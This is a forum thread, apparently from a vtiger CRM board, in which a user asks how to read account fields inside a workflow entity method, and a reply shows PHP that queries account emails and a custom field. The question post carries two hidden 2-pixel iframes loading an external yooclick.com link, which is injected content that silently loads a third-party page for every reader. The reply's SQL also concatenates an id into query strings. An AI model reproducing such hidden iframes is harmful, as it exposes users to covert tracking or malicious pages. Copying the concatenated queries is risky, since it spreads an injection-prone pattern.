workflow - $entity ??

Hi all..

in the example of a Entity Method Task, the method receive a $entity.. but what can I do with this entity..what it represents?

File: module/Workflow/Demo.inc
<?php
function demo($entity){
$entity->focus->called = true;
}
?>

I was configured to add the demo method to de Accounts module, but for example I want to get de Phone of the account(if the entity represents the account) ora custom field. how i can to it?

please help, thanks!! <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 2 Comments sorted by Votes Date Added
  • here is my solution to it, i say my solution because i have no clue if it is the solution.
    i will be happy to see a better one.

    here is a sample to read account values (email) and also a custom field account from $entity

    <?
    function update_date($entity) {
    global $adb;
    $entity_id = vtws_getidcomponents($entity->getid());
    $entity_id = $entity_id[1];
    $mails = $adb->pquery("select email1, email2 from vtiger_account where accountid=".$entity_id);
    $email1 = $adb->query_result($mails, 0, 'email1');
    $email2 = $adb->query_result($mails, 0, 'email2');

    $date = $adb->pquery("select cf_450 from vtiger_accountscf where accountid=".$entity_id);
    $date_fin_maintenance = $adb->query_result($date, 0, 'cf_450');

    ...

    }
    ?>
Sign In or Register to comment.